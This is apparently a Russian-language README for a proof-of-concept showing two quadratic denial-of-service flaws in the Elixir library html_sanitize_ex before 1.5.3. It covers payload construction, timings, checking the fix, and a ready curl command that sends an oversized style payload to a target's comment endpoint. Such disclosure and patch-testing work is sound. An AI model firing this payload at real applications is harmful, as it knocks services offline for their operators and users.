
PoC, демонстрирующий квадратичный DoS в Elixir html_sanitize_ex через специально сформированный HTML; включает замеры времени выполнения, curl для удалённой эксплуатации и проверку на пропатченных версиях.
Квадратичный отказ в обслуживании в html_sanitize_ex < 1.5.3.
Библиотека предназначена для нейтрализации недоверенного HTML, однако два независимых суперлинейных пути выполнения позволяют одному специально сформированному запросу занять планировщик BEAM на секунды. Несколько конкурентных запросов насыщают пул планировщиков, и приложение перестаёт отвечать. Влияние — только на доступность (CVSS 8.2 High).
| CVE | Компонент | Слабость | Триггер |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (бэктрекинг регулярных выражений) | длинная последовательность символов слова в <style> с завершающим : |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (квадратичный обход) | плоская последовательность разрешённых соседних тегов (например, <b>a</b> × 20,000) |
CVE-2026-68749 доступна только через
html5/1(или пользовательский скраббер, расширяющий:html5). CVE-2026-68750 присутствует в каждой публичной точке входа, включаяbasic_html/1,markdown_html/1иstrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Требования: Elixir ≥ 1.14 и подключение к интернету (для загрузки зависимости Hex).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Ожидается на уязвимой сборке 1.5.2 — тайминги атак на порядки превышают безвредные. Форма следующая (иллюстративно; абсолютные значения зависят от оборудования, но две опорные точки атаки взяты напрямую из рекомендаций EEF CNA):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
Смысл в коэффициенте: атака на порядки медленнее безвредного
входа сопоставимого размера, а 10× входных данных требует намного больше, чем 10× работы. Значения
2.4 с (80 КБ <style>) и 1.7 с (20 000 соседних тегов) приведены из
рекомендаций вышестоящего проекта.
Отредактируйте mix.exs и поднимите закреплённую версию до исправленного релиза:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Затем выполните снова:
mix deps.update html_sanitize_ex
mix run poc.exs
На 1.5.3 тайминги безвредных и атакующих запросов сходятся к одному порядку величины, поскольку исправление ограничивает группу регулярного выражения ([-\w]+ → [-\w]{1,64}) и переписывает обходчик на один Enum.reduce + один List.flatten/1 (O(n²) → O(n)).
В реальном Phoenix-приложении эти вызовы происходят везде, где сервер санитизирует пользовательский форматированный текст. Атакующий просто отправляет вредоносную нагрузку как значение поля — авторизация не требуется:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Восемь таких конкурентных запросов занимают все восемь планировщиков BEAM на 8-ядерном хосте.
Только для образовательных целей / авторизованного тестирования.